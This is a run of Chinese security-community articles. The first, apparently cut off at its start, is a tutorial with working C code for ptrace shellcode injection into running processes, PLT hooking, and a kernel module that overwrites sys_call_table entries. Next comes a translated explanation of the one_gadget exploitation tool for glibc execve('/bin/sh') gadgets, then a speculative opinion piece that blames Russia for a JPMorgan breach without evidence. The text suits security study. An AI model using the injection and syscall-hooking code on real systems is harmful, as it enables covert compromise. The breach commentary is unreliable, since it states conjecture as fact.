if(fd < 0)
{
printf("open shellcode error!\n");
exit(1);
}
shellcode = malloc(sb.st_size + 1);
read(fd, shellcode, sb.st_size);
regs.rax = mmap_addr;
//prepare for the mmap args
regs.rdi = 0;
regs.rsi = sb.st_size;
regs.rdx = 0x7;
regs.rcx = MAP_PRIVATE | MAP_ANONYMOUS;
regs.r8 = -1;
regs.r9 = 0;
regs.rip = libc_addr; //jmp to call rax
ptrace(PTRACE_SETREGS, traced, 0, ®s);
ptrace(PTRACE_CONT, traced, 0, 0);
//wait mmap is executed
waitpid(traced, &status, WUNTRACED);
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP){
printf("SIGTRAP receivedn\n");
}
* 这里有几个坑
* mmap的fd参数，必须是open打开的返回值，而不能是fopen这种。
* x64传参，顺序是 **rdi、rsi、rdx、rcx、r8、r9** ；有些地方可能会说第四个参数是r10，发现有误导。
void *mmap(void *addr, size_t length, int prot, int flags,
int fd, off_t offset);
* 由于我们open是在注入进程得到的fd，而mmap是在被hook进程执行的，所以这个fd是不可以被当作参数的。我们必须使用flag **MAP_PRIVATE | MAP_ANONYMOUS**
* 往mmap返回的地址里写入shellcode，并执行。
ptrace(PTRACE_GETREGS, traced, 0, ®s);
tmp_addr = regs.rax;/
printf("We get address from mmap: 0x%lx\n", tmp_addr);
copy_code(tmp_addr, shellcode, sb.st_size);
tmp_val = ptrace(PTRACE_PEEKTEXT, traced, tmp_addr, 0);
printf("the mapped val: 0x%lx\n", tmp_val);
//jmp to shellcode from file
regs.rip = tmp_addr;
ptrace(PTRACE_SETREGS, traced, 0, ®s);
ptrace(PTRACE_CONT, traced, 0, 0);
//wait shellcode is executed
waitpid(traced, &status, WUNTRACED);
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP){
printf("SIGTRAP receivedn\n");
}
ptrace(PTRACE_SETREGS, traced, 0, ®s_bak);
ptrace(PTRACE_CONT, traced, 0, 0);
close(fd);
* 其中copy_code的实现通过 **POKETEXT** ，每次可以向目标进程任意地址写入long大小的值
void copy_code(size_t addr, char* shellcode, int len)
{
int i=0;
long word;
for(i=0; i<len; i+=sizeof(long)){
memcpy(&word, shellcode+i, sizeof(long));
if(ptrace(PTRACE_POKETEXT, traced, addr+i, word) == -1){
printerror();
exit(1);
}
}
}
* 我的shellcode，就是 **write(1, 'cba', 8)** ，目标进程就是当前终端 **/bin/bash** 看下效果。
* #### PLT重定向劫持Hook
* 这个主要是利用ELF文件的，GOT和PLT的方式解决地址无关的链接.so文件的机制。
* 在第一次调用前，Got里是PLT的地址；一般在调用之后Got里会写入库函数的真实地址。
* PLT在text段，一般不可写；（所以迷，为啥有这一技术）
* 是因为 **ptrace可以无视'rwx'** ，这也是为什么gdb可以修改text，下断点。
* 所以这个来说，算是plt和ptrace结合的一种方式。
* 一个简单的在PLT处下断，执行完操作后恢复的样例。这里主要解决的是代码重定位的问题，我们从 **/proc/pid/maps** 下读出Codebase即可。
#include <sys/reg.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <errno.h>
#define Mapfile "/proc/%d/maps"
//用于获取plt内容
union pltval{
size_t val;
unsigned char chars[sizeof(size_t)];
};
void usage(char** argv){
printf("USAGE: \n --- %s pid plt_offset \n", argv[0]);
}
void printerror(){
printf("Status: %s\n", strerror(errno));
}
void mod_handle(pid_t tracee, void* addr1, void* addr2)
{
union pltval buf;
buf.val = ptrace(PTRACE_PEEKDATA, tracee, addr1, 0);
printf("mod_handle: ");
printerror();
memcpy(buf.chars, "hooked", 6);
buf.chars[6] = 0;
ptrace(PTRACE_POKEDATA, tracee, addr1, buf.val);
printf("hook: ");
printerror();
buf.val = ptrace(PTRACE_PEEKDATA, tracee, addr2, 0);
printf("mod_handle: ");
printerror();
memcpy(buf.chars, "/hooked", 7);
buf.chars[7] = 0;
ptrace(PTRACE_POKEDATA, tracee, addr2, buf.val);
printf("/hooked: ");
printerror();
}
size_t getCodebase(pid_t pid)
{
size_t addr;
char buf[2 * sizeof(size_t)];
char* end;
char* mapfile[0x18];
sprintf(mapfile, Mapfile, pid);
int fd = open(mapfile, O_RDONLY);
if(fd == -1)
{
printf("open maps error!");
exit(1);
}
read(fd, buf, 2 * sizeof(size_t));
end = strchr(buf, '-');
addr = strtol(buf, &end, 16);
printf("The codebase is: 0x%lx\n", addr);
close(fd);
return addr;
}
int main(int argc, char* argv[]){
pid_t tracee;
union pltval plt;
struct user_regs_struct regs;
siginfo_t si;
int status;
size_t plt_offset, plt_addr, bak;
if(argc < 2){
usage(argv);
exit(1);
}
tracee = atoi(argv[1]);
plt_offset = atoi(argv[2]);
//获取codebase
plt_addr = plt_offset + getCodebase(tracee);
printf("plt_addr ==> %lx\n", plt_addr);
//attach the process
ptrace(PTRACE_ATTACH, tracee, 0, 0);
printf("Attach: ");
printerror();
wait(&status);
//获取目标的plt值，保存，修改，写入， 继续运行
plt.val = ptrace(PTRACE_PEEKDATA, tracee, plt_addr, 0);
bak = plt.val;
plt.chars[0] = 0xcc; //breakpoint
ptrace(PTRACE_POKEDATA, tracee, plt_addr, plt.val);
ptrace(PTRACE_CONT, tracee, 0, 0);
//监视有没有触发断点
while(1){
printf("Wait....\n");
wait(&status);
printf("Done!\n");
if(WIFEXITED(status)) break;
//获取regs和sig信息，判断是否到达plt
ptrace(PTRACE_GETSIGINFO, tracee, 0, &si);
ptrace(PTRACE_GETREGS, tracee, 0, ®s);
if((si.si_signo != SIGTRAP) || (regs.rip != (size_t)plt_addr + 1)){
ptrace(PTRACE_GETREGS, tracee, 0, ®s);
ptrace(PTRACE_CONT, tracee, 0, 0);
continue;
}
//hook & modify
mod_handle(tracee, (void*)argv[0], (void*)argv[1]);
//修改回原值
plt.val = bak;
ptrace(PTRACE_POKEDATA, tracee, plt_addr, plt.val);
//返回0xcc前
regs.rip -= 1;
ptrace(PTRACE_SETREGS, tracee, 0, ®s);
ptrace(PTRACE_SINGLESTEP, tracee, 0, 0);
wait(0);
ptrace(PTRACE_GETREGS, tracee, 0, ®s);
plt.chars[0] = 0xcc;
ptrace(PTRACE_POKEDATA, tracee, plt_addr, plt.val);
ptrace(PTRACE_CONT, tracee, 0, 0);
}
return 0;
}
* #### Ring0级别的Hook
* ##### 前置知识
* linux内核的编译
* 最好选择一个和自己虚拟机内核版本一致的源码，网上也很多教程。
* 再编译一个busybox的文件系统，为了方便添加文件。
* 模块编译
* makefile的基本格式（用于本机加载的模块）
obj-m += inter.o
CURRENT_PATH := $(shell pwd)
LINUX_KERNEL := $(shell uname -r)
LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)
all:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
clean:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
* 交叉编译（本机和编译的内核不同）
obj-m += mod1.o
CURRENT_PATH := $(shell pwd)
LINUX_KERNEL := $(shell uname -r)
LINUX_KERNEL_PATH := /home/tree/kernel/linux-5.0.3
all:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
clean:
make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
* **sys_call_table**
* 都知道linux通过int 0x80或者syscall都可以进入kernel完成系统调用，而我们需要把对应的系统调用号传给rax。两者最终还是用了system_call。
* int 0x80工作原理
1、系统维护一个叫做“向量中断表的”，每个int xx都会去对应的向量表的xx处
2、0x80对应系统调用的服务例程，记录了syscall的地址。
3、而eax的值，对应具体的系统调用号。
* syscall的具体实现，可以看到这里有sys_call_table符号。
.globl system_call, buserr, trap, resume
.globl sys_call_table
................
................
ENTRY(system_call)
SAVE_ALL_SYS //保存
GET_CURRENT(%d1)
movel %d1,%a1
| save top of frame
movel %sp,%curptr@(TASK_THREAD+THREAD_ESP0)
| syscall trace? //有没有被ptrace跟踪
tstb %a1@(TINFO_FLAGS+2)
jmi do_trace_entry
cmpl #NR_syscalls,%d0
jcc badsys
syscall: //真实的执行系统调用
jbsr @(sys_call_table,%d0:l:4)@(0)
movel %d0,%sp@(PT_OFF_D0) | save the return value
ret_from_syscall:
|oriw #0x0700,%sr
movel %curptr@(TASK_STACK),%a1
movew %a1@(TINFO_FLAGS+2),%d0
jne syscall_exit_work
1: RESTORE_ALL
* **获得sys_call_table地址的方式**
* 由于syscall实现处有sys_call_table的符号，我们可以从这里拿到地址。
1. 获取中断描述符表(IDT)的地址(使用C ASM汇编)
2. 从中查找0x80中断(系统调用中断)的服务例程(8*0x80偏移)
3. 搜索该例程的内存空间
4. 从其中获取sys_call_table(保存所有系统调用例程的入口地址)的地址
* 使用kallsyms_lookup_name读取。该函数本身也是一个符号，如果没有导出就不能使用。
sys_call_table_addr = kallsyms_lookup_name("sys_call_table")
* 读取/proc/kallsyms文件。我的理解就是和/proc/pid/maps差不多特殊的一个文件，由内核动态生成，需要root权限，普通用户读到的全是0（但是加载模块也是需要root权限的，所以不是问题）
sudo cat /proc/kallsyms | grep sys_call_table
* 修改内核，添加EXPORT_SYMBOL(sys_call_table)或EXPORT_SYMBOL_GPL(sys_call_table)。
这种方法适用于可以修改内核的情形。在可以修改内核的情况下，这是最简单的方式。
* 实战——hook系统调用 mkdir，我这里使用 **kallsyms_lookup_name**
//This kernel module locates the sys_call_table by kallsyms_lookup_name
#include<linux/init.h>
#include<linux/module.h>
#include<linux/moduleparam.h>
#include<linux/unistd.h>
#include<linux/sched.h>
#include<linux/syscalls.h>
#include<linux/string.h>
#include<linux/fs.h>
#include<linux/fdtable.h>
#include<linux/uaccess.h>
#include <linux/kallsyms.h>
#include<linux/rtc.h>
#include<linux/vmalloc.h>
#include <linux/slab.h>
//module macros
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("hook sys_mkdir");
//module constructor/destructor
typedef unsigned long (*sys_call_ptr_t)(void);
sys_call_ptr_t *_sys_call_table = NULL;
typedef asmlinkage long (*old_mkdir_t)(const char __user *pathname, umode_t mode);
old_mkdir_t old_mkdir = NULL;
// hooked mkdir function
asmlinkage long hooked_mkdir(const char __user *pathname, umode_t mode) {
printk("hooked sys_mkdir(), mkdir name: ");
printk(pathname);
old_mkdir(pathname, mode);
}
// memory protection shinanigans
unsigned int level;
pte_t *pte;
//obtain sys_call_table
static int get_sys_call_table(void){
unsigned long tmp_sys_call_table = 0;
int ans = 0;
tmp_sys_call_table = kallsyms_lookup_name("sys_call_table");
if(tmp_sys_call_table != 0)
{
ans = 1;
_sys_call_table = tmp_sys_call_table;
printk("[+] find sys_call_table: 0x%lx\n", tmp_sys_call_table);
}
return ans;
}
// initialize the module
static int hooked_init(void) {
printk("+ Loading hook_mkdir module\n");
if(!get_sys_call_table()){
return 0;
}
// now we can hook syscalls ...such as uname
// first, save the old gate (fptr)
old_mkdir = (old_mkdir_t) _sys_call_table[__NR_mkdir];
// unprotect sys_call_table memory page
pte = lookup_address((unsigned long) _sys_call_table, &level);
// change PTE to allow writing
set_pte_atomic(pte, pte_mkwrite(*pte));
printk("+ unprotected kernel memory page containing sys_call_table\n");
// now overwrite the __NR_uname entry with address to our uname
_sys_call_table[__NR_mkdir] = (sys_call_ptr_t) hooked_mkdir;
printk("+ sys_mkdir hooked!\n");
return 0;
}
static void hooked_exit(void) {
if(old_mkdir != NULL) {
// restore sys_call_table to original state
_sys_call_table[__NR_mkdir] = (sys_call_ptr_t) old_mkdir;
// reprotect page
set_pte_atomic(pte, pte_clear_flags(*pte, _PAGE_RW));
}
printk("+ Unloading hook_mkdir module\n");
}
/*entry/exit macros*/
module_init(hooked_init);
module_exit(hooked_exit);
* 效果（不知道为啥pathname参数不能输出）
* **system_call函数内存内搜索sys_call_table** ，实现execve的hook
* 这里注意这种方式在x86和x64上的区别。
1、x86或者x64的兼容模式：使用int 0x80,MSR寄存器地址为0xc0000083,宏MSR_CSTAR来代表. 使用sidt获取system_call地址
2、x64的long模式：使用syscall,MSR寄存器地址为0xc0000082，宏MSR_LSTAR来代表. 使用rdmsrl指令获取system_call地址
3、x86 sys_call_table的特征码 \xff\x14\x85
4、x86_64下 sys_call_table的特征码 \xff\x14\xc5
* 网上有一大堆x86的获取sys_call_table的方法，我本来打算用下面的思路实现一个x64的。
1、在x64下，通过rdmsrl(MSR_LSTAR, xxxx)可以拿到entry_SYSCALL_64的地址。entry_SYSCALL_64的实现里会有sys_call_table的机器码。
2、所以有两种hook的思路
a、修改entry_SYSCALL_64起始的几个字节（内联hook）
b、找到sys_call_table，修改对应的系统调用。
* 但是在linux内核5.x里，entry_SYSCALL_64的实现改了，不再试图用过call sys_call_table[index]的方式进行系统调用，而是引入了一个do_syscall_64的符号。具体的看下面截取的源码
ENTRY(entry_SYSCALL_64)
UNWIND_HINT_EMPTY
.......
.......
/* IRQs are off. */
movq %rax, %rdi
movq %rsp, %rsi
call do_syscall_64 /* returns with IRQs disabled */
* 于是我找到了do_syscall_64的实现，幸运的是在这里找到了对sys_call_table的直接引用。
#ifdef CONFIG_X86_64
__visible void do_syscall_64(unsigned long nr, struct pt_regs *regs)
{
struct thread_info *ti;
enter_from_user_mode();
local_irq_enable();
ti = current_thread_info();
if (READ_ONCE(ti->flags) & _TIF_WORK_SYSCALL_ENTRY)
nr = syscall_trace_enter(regs);
/*
* NB: Native and x32 syscalls are dispatched from the same
* table. The only functional difference is the x32 bit in
* regs->orig_ax, which changes the behavior of some syscalls.
*/
nr &= __SYSCALL_MASK;
if (likely(nr < NR_syscalls)) {
nr = array_index_nospec(nr, NR_syscalls);
regs->ax = sys_call_table[nr](regs); //这里sys_call_table的直接引用
}
syscall_return_slowpath(regs);
}
#endif
* 所以，显然我们就需要多一次的搜索，特征码可以在gdb里查或者看它的汇编指令。
1、在entry_SYSCALL_64里搜索do_syscall_64； 特征码'\x48\x89\xe6\xe8' <= mov rsi, rsp; call ....
2、在do_syscall_64里搜索sys_call_table； 特征码 '\x48\x8b\x04\xfd' <= mov rax []
* 通过entry_SYSCALL_64的call do_syscall_64找到call do_syscall_64地址
* 通过do_syscall_64对sys_call_table的引用找到sys_call_table
* 代码实现
static void*
get_lstar_dosys_addr(void){
unsigned long lstar;
// temp variables for scan
unsigned int i;
unsigned char *off;
rdmsrl(MSR_LSTAR, lstar);
// print out int 0x80 handler
printk("[+] entry_SYSCALL_64 is at 0x%lx\n", lstar);
// scan for known pattern(0xff14c5xx)
// pattern is just before sys_call_table address
for(i = 0; i <= PAGE_SIZE; i++) {
off = (char*)lstar + i;
if(*(off) == 0x48 && *(off+1) == 0x89 && *(off+2) == 0xe6) {
return (off + 3); //call do_syscall_64
}
}
return NULL;
}
static void*
get_lstar_dosys(void)
{
unsigned long* lstar_dosys_addr = get_lstar_dosys_addr();
if(lstar_dosys_addr != NULL) {
printk("[+] call_do_syscall_64 at: 0x%lx\n", lstar_dosys_addr);
unsigned int offset = *(unsigned int*)((char*)lstar_dosys_addr + 1);
printk("[+] offset is: 0x%08x\n", offset);
unsigned long base = 0xffffffff00000000;
return (void*)(base | ((unsigned long)lstar_dosys_addr + 5 + offset));
}
return NULL;
}
static void*
get_sys_sct_addr(unsigned long* do_syscall_64_addr)
{
unsigned char* off;
int i;
for(i = 0; i <= PAGE_SIZE; i++) {
off = (char*)do_syscall_64_addr + i;
if(*(off) == 0x48 && *(off+1) == 0x8b && *(off+2) == 0x04 && *(off+3) == 0xfd) {
return (off+4);
}
}
return NULL;
}
static void*
get_sys_sct(unsigned long* do_syscall_64_addr)
{
unsigned long* sct_addr = get_sys_sct_addr(do_syscall_64_addr);
if(!sct_addr){
return NULL;
}
unsigned int offset = *(unsigned int*)(sct_addr);
unsigned long base = 0xffffffff00000000;
return (void*)(base | offset);
}
//hooked execve
static int hook_execve_init(void){
printk("[+] Finding sys_call_table\n");
unsigned long* do_syscall_64_addr = 0;
do_syscall_64_addr = get_lstar_dosys();
if(!do_syscall_64_addr){
printk("[x] Failed to find do_syscall_64_addr\n");
return 0;
}
printk("[+] Found do_syscall_64_addr at: 0x%lx\n", do_syscall_64_addr);
_sys_call_table = get_sys_sct(do_syscall_64_addr);
if(!_sys_call_table) {
printk("[x] Failed to find sys_call_table\n");
return 0;
}
printk("[+] Found sys_call_table at: 0x%lx\n", _sys_call_table);
return 0;
}
* 注意处理一些细节问题（比如unsigned long 还是 unsinged int），最终可以达到想要的效果。
* 参考链接
* [LINUX的LD_PRELOAD相关知识学习](https://ixyzero.com/blog/archives/3137.html)
* [Intercepting and Emulating Linux System Calls with Ptrace](https://nullprogram.com/blog/2018/06/23/)
* [ptrace注入进程](http://nicephil.blinkenshell.org/my_book/ch10.html)
* [Linux内核模块编译](https://www.cnblogs.com/klb561/p/9048662.html)
* [获取Linux内核未导出符号的几种方式](https://www.cnblogs.com/bittorrent/p/3804141.html) | 社区文章 |
# 原文链接
<https://david942j.blogspot.com/2017/02/project-one-gadget-in-glibc.html>
# glibc里的one-gadget
## 介绍
one-gadget 是glibc里调用`execve('/bin/sh', NULL,
NULL)`的一段非常有用的gadget。在我们能够控制ip（也就是pc）的时候，用one-gadget来做RCE（远程代码执行）非常方便，比如有时候我们能够做一个任意函数执行，但是做不到控制第一个参数，这样就没办法调用`system("sh")`，这个时候one
gadget就可以搞定了。我之前每次都是用IDA去手动找的，哪怕我原来还找过，所以我就决定写个好用的工具来避免再手动去找。
最后做出来的工具是[one_gadget](https://github.com/david942j/one_gadget)，工具不仅可以找到one
gadget还可以把需要满足的条件也给出来。
这篇文章主要讲讲one_gadget都干了点什么。
## Repository
one_gadget的代码可以在[这里](https://github.com/david942j/one_gadget)找到。
代码包装成了一个[ruby gem](https://rubygems.org/gems/one_gadget)，在命令行里用`gem install
one_gadget`就可以安装。
## One Gadget
首先，一个潜在的gadget需要满足以下几个条件：
1. 能够访问到'/bin/sh'字符串
2. 调用了exec*系列的函数
为了说的更明白点，看看下面这一段汇编，这时libc-2.23用`objdump`出来的内容：
; glibc-2.23 (64bit, 16.04 ubuntu, BuildID: 60131540dadc6796cab33388349e6e4e68692053)
4526a: mov rax,QWORD PTR [rip+0x37dc47] # 3c2eb8 <_IO_file_jumps@@GLIBC_2.2.5+0x7d8>
45271: lea rdi,[rip+0x146eff] # 18c177 <_libc_intl_domainname@@GLIBC_2.2.5+0x197>
45278: lea rsi,[rsp+0x30]
45278: mov DWORD PTR [rip+0x380219],0x0 # 3c54a0 <__abort_msg@@GLIBC_PRIVATE+0x8c0>
45287: mov DWORD PTR [rip+0x380213],0x0 # 3c54a4 <__abort_msg@@GLIBC_PRIVATE+0x8c4>
45291: mov rdx,QWORD PTR [rax]
45294: call cbbc0 <execve@@GLIBC_2.2.5>
第45271行相当于`rdi = libc_base + 0x18c177`，而`libc_base +
0x18c177`正好就是'/bin/sh'的字符串。
用`strings`很容易把字符串的偏移量拿出来：
至于这个gadget的约束，注意一下45278行的`rsi = rsp +
0x30`，从这就可以看出其实最后结果是调用的`execve('/bin/sh', rsp + 0x30, environ)`，这就需要`[rsp +
0x30] == NULL`。
Gadget 0x4526a:
execve('/bin/sh', rsp + 0x30, environ)
所以找gadget的策略并不麻烦：
1. 把所有访问到'/bin/sh'的汇编代码作为one gadget的备选
2. 把附近没有调用`execve`的备选都去了
3. 类似`lea rsi, [rsp+0x??]`的汇编就是约束条件
这个简单的策略在glibc-2.19和glibc-2.23能找到3个one gadget，如下：
; glibc-2.19(64bit, 14.04 ubuntu, BuildID: cf699a15caae64f50311fc4655b86dc39a479789)
0x4647c execve('/bin/sh', rsp+0x30, environ)
0xe5765 execve('/bin/sh', rsp+0x50, environ)
0xe66bd execve('/bin/sh', rsp+0x70, environ)
; glibc-2.23(64bit, 16.04 ubuntu, BuildID: 60131540dadc6796cab33388349e6e4e68692053)
0x4526a execve('/bin/sh', rsp+0x30, environ)
0xef6c4 execve('/bin/sh', rsp+0x50, environ)
0xf0567 execve('/bin/sh', rsp+0x70, environ)
由于这些gadget的约束只要求stack上的一些特定位置值为0，所以非常有用。
但是，在32位的libc上，这办法 **完全用不了** 。
下面我们来看下一个32位libc的潜在one gadget长啥样：
; glibc-2.23 (32bit, 16.04 ubuntu, BuildID: 926eb99d49cab2e5622af38ab07395f5b32035e9)
3ac69: mov eax,DWORD PTR [esi-0xb8]
3ac6f: add esp,0xc
3ac72: mov DWORD PTR [esi+0x1620],0x0
3ac7c: mov DWORD PTR [esi+0x1624],0x0
3ac86: push DWORD PTR [eax]
3ac88: lea eax,[esp+0x2c]
3ac8c: push eax
3ac8d: lea eax,[esi-0x567d5]
3ac93: push eax
3ac94: call b0670 <execve@@GLIBC_2.0>
32和64主要有这两点区别：
1. 数据访问： 32位是用`[<reg> - 0x??]`来访问只读数据的
2. 调用约定：32位里参数只在栈上，64位用的是寄存器
下面我们来看下为什么这两点不一样的地方会导致one gadget在32位的libc上会很难去找，也很难用。
### 数据访问方法
在64位libc里访问data段是用rip相对偏移去访问的，而在32位libc里，汇编大概长这样：
11f995: mov ebx,DWORD PTR [esp]
11f998: ret
11f999: mov eax,DWORD PTR [esp]
11f99c: ret
11f99d: mov edx,DWORD PTR [esp]
11f9a0: ret
11f9a1: mov esi,DWORD PTR [esp]
11f9a4: ret
11f9a5: mov edi,DWORD PTR [esp]
11f9a8: ret
11f9a9: mov ebp,DWORD PTR [esp]
11f9ac: ret
11f9ad: mov ecx,DWORD PTR [esp]
11f9b0: ret
在不同的函数里可能会用不同的寄存器为基础去访问数据，比如`fexecve`的前6行：
000b06a0 <fexecve@@GLIBC_2.0>:
b06a0: push ebp
b06a1: push edi
b06a2: push esi
b06a3: push ebx
b06a4: call 11f995 <__frame_state_for@@GLIBC_2.0+0x375>
b06a9: add ebx,0x101957
b06af: sub esp,0x8c
在执行了`add ebx, 0x101957`之后，`ebx`就是`libc_base + 0xb06a9 + 0x101957 = libc_base +
0x1b2000`，这里`0x1b2000`是dynamic tag pltgot的值：
$ readelf -d libc.so.6 | grep PLTGOT
0x00000003 (PLTGOT) 0x1b2000
在我们找one gadget的时候，本不应该在一个函数前几行出现的是，所有的32位one
gadget都有一个约束要求特定寄存器（一般是`ebx`或者`esi`)指向libc的GOT区域。
这个约束看起来非常强，因为`ebx`和`esi`在x86里是callee
safe的，也就是说在一段程序返回之前会被pop回来，但是在实际当中，由于`esi`或者`rdi`已经在`main`里被赋值为了需要的值，也就是在`__libc_start_main`里设置的，所以这个条件还是有可能被满足的。
### 调用约定
在32位里，参数被放在了`[esp], [esp+4], [esp+8]`.
这里有两种方法来做到，一种是直接用`mov`来设置这些值，另外一种是使用`push`指令。两种指令在找gadget的时候都需要被考虑到，这样就比64位复杂一些，不过还好不是太难。
在我找到这段gadget之前一切都还很美好。。。
3ac69: mov eax,DWORD PTR [esi-0xb8]
3ac6f: add esp,0xc
3ac72: mov DWORD PTR [esi+0x1620],0x0
3ac7c: mov DWORD PTR [esi+0x1624],0x0
3ac86: push DWORD PTR [eax]
3ac88: lea eax,[esp+0x2c]
3ac8c: push eax
3ac8d: lea eax,[esi-0x567d5]
3ac93: push eax
3ac94: call b0670 <execve@@GLIBC_2.0>
第一眼看过去我们可能会觉得这段gadget会调用`execve('/bin/sh', esp+0x2c, environ)`，但是这其实是 **不对的**
。在3ac88行把argv设置为了`esp+0x2c`，`esp`的值在`3ac6f: add esp, 0xc`和`3ac86: push DWORD
PTR [eax]`被改动了，所以这段gadget的真实结果是调用了`execve('/bin/sh', esp+0x34, environ)`
由于这种比较复杂的gadget，我决定不用基于规则的策略来找gadget，而是使用符号执行。
### 符号执行
我用ruby实现了一个非常简单的[符号执行](https://en.wikipedia.org/wiki/Symbolic_execution)来找one
gadget。由于我们根本没有考虑条件跳转，所以非常简单。我们要做的只是去找gadget的正确约束要求，比如说下面这一段汇编：
mov edx, [eax]
lea esi, [edx + 4]
push esi
call func
如果我们想要`func`的第一个参数是0，那么 **真正的** 的约束就是`[[eax]+4]`等于0.
为了解决这个问题，我们只需要把每个寄存器和每个栈slot都设置为符号变量，符号化的含义可以在wiki里找到。
通过符号执行，我们就可以成功去解析出one
gadget的约束，另外我们还可以从glibc里任意位置开始尝试符号执行，看最后函数是不是可以做到`execve('/bin/sh', argv,
environ)'.
## 结论
one_gadget工具还在开发当中，在1.3.1版本中，在glibc-2.23可以找到很多one
gadget。在去掉了一些重复或者很难达到的约束之后，64位里有6个one gadget，32位里有3个one gadget可以找到：
64bit libc-2.23.so
32bit libc-2.23.so
我也试了不同版本的libc，比如在glibc-2.19上的64位和32位，分别可以找到6段和4段。
如果有任何建议，非常欢迎与我联系，感谢您的阅读。 | 社区文章 |
# 国际间谍与阴谋：当俄罗斯成功渗透摩根大通
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://medium.com/@kim_crawley/a-tale-of-international-espionage-and-intrigue-when-russia-infiltrated-jpmorgan-chase-d14c3773a4d7#.g8kdhlw5c>
译文仅供参考，具体内容表达以及含义原文为准。
摩根大通集团的总部位于美国纽约,其银行总存款约为1.5万亿美元,占美国存款总额的25%。摩根大通银行目前拥有6000多家分行,是美国最大金融服务机构之一。除此之外,摩根大通还是一家跨国金融服务机构,该集团的业务遍及六十多个国家和地区,其中还包括投资银行,金融交易处理,投资管理,商业金融服务,个人银行业务等。
摩根大通是美国最大的银行,目前拥有超过2.5万亿美元的总资产。据报道,该银行每年花费在安全保障技术方面的经费大约为2.5亿。换算过来,也就相当于他们在每一万美元的资产上会花一美元来保护其资金安全。除此之外,摩根大通聘请的信息安全专业人员数量已经超过了谷歌公司,谷歌公司大约有四百名安全技术人员,但是摩根大通拥有上千名安全技术人员。
在此之前,大部分的西方国家都反对俄罗斯总统普京就乌克兰领土的问题发动战争,普京为此也非常的不满。这样一来,也导致了俄罗斯国内粮食严重短缺,这主要是由于大部分的国际粮食进口国与俄罗斯的贸易暂时终止了。但是我敢肯定俄罗斯国内的那些有钱人依旧可以吃得饱穿得暖。
在去年的八月底,有消息传出,有攻击者成功地入侵了摩根大通的网络系统,并从中窃取了大量高度敏感的金融数据。外界几乎一致认定俄罗斯就是这次攻击事件背后的始作俑者,但是具体的调查仍然处于进行之中,至今为止还没有得到准确的结论。
有的人推测,这次影响如此巨大的数据泄漏事件与美国食品进口制裁有关。网络安全公司iSight
Partners却认为这种观点不太可能成立,因为此次攻击是从几个月前就已经开始了,攻击的开始时间早于制裁的宣布时间。
目前,我只能根据现在所能获取到的公开信息来进行推测,而且可用的信息确实非常的少。美国联邦调查局和国家安全局也已经表示,他们正在对此事件进行调查。
接下来,我将给大家描述一下我对这一事件的观点,时间将会证明我的观点是正确的。俄罗斯政府聘请了上千名信息安全和网络战方面的专家,这一举动也是为了扩充其网络军队。就我所了解到的情况,加拿大的互联网服务提供商和商业数据中心都已经在他们的网络日志中检测到了来自俄罗斯的网络攻击信息,而且这种攻击行为基本上每天都会发生。整个北美地区和欧洲的网络管理员和IT安全专家通常都会发现,由俄罗斯黑客发动的网络攻击数量所占比例高得惊人。但是,这些攻击很有可能是俄罗斯的黑帽黑客所发动的,而与俄罗斯政府没有任何的关系。但是就我从加拿大军方和情报机构所获取到的信息来看,俄罗斯的网络部队确实令人印象深刻。
普京很可能是想在美国实施食品制裁之前获取到有关美国金融的敏感数据,而且他对关于乌克兰局势的机密信息也比较感兴趣。俄罗斯的网络部队已经成功渗透了摩根大通银行的网络系统,而且我敢打赌,俄罗斯黑客为了实现这一目的,可能还使用了匿名代理网络和MAC地址欺骗等攻击手段。
俄罗斯网络部队已经获取到了摩根大通银行网络的配置信息和系统漏洞,而俄罗斯的恶意软件专家也正在利用这些信息来开发专门的恶意软件,并会利用这些工具来对摩根大通进行攻击。在对这些工具进行逆向工程分析之后,我们就可以了解到这些恶意软件是否是用已知的编程语言开发的,还是说他们仍旧采用的是开发震网病毒时所使用的代码。我认为后者的可能性比较大,即采用与震网病毒类似的代码。当然了,俄罗斯的恶意软件开发者肯定会预料到美国的技术人员会对他们的工具急性逆向分析,所以他们肯定会采取相应的凡逆向措施。
在至少三个月的时间内,摩根大通的大量数据被上传至了俄罗斯黑客的服务器中,所以带宽资源的占用是很难被检测到的,这就像大海捞针一样。除此之外,攻击者还对恶意软件代码进行了模糊处理,这也就使得摩根大通的安全防护系统无法及时检测到这些安全威胁。
目前为止,研究人员已经在美国的几大主要银行的系统中发现了这种类型的攻击,而且攻击的持续周期与摩根大通银行被入侵的时间周期是相同的。但是,具体受影响的银行仍然没有被公布出来,而且美国联邦调查局表示这些攻击事件之间没有任何的关联性。
正如我之前所提到的,美国联邦调查局和国家安全局已经表示,相关人员正在对摩根大通的攻击事件进行调查。但是,我真的想不明白这两个部门怎么可能相互合作。因为就我从加拿大情报机构所获取到的信息来说,联邦调查局和国家安全局的关系实际上非常的紧张,当然也就无法很好地进行合作了。
而对于摩根大通而言,此次攻击事件对于其用户而言,影响则更为直接。
摩根大通银行为路易斯安那州,德克萨斯州,宾夕法尼亚州和纽约等多个城市提供了UCard借贷服务。
而且近期摩根大通还警告称,路易斯安那州的UCard已经被黑客破坏了,而且还会涉及到用户信息泄漏的问题。有关此次事件的具体信息将会在之后公布出来。
而摩根大通集团也是引发2008年美国经济衰退(此次事件使得美国上百万的人口陷入了贫困状态)的主要因素。
我根本就不在乎Jamie Dimon,我认为他和他的同伙都应该在监狱里面度过他们的下半生。
我在乎的是美国的贫困人口在UCard被攻击之后,将会受到怎样的直接影响。我认为美国政府应该对所有相关的经济损失负责。
摩根大通也许已经部署了非常先进的技术安全保护措施。但是由于其地位和影响力,它也是一个非常容易受黑客攻击的目标。但是对于国家级的网络部队而言,要拿下摩根大通简直是小菜一碟。 | 社区文章 |
**作者：漂亮鼠
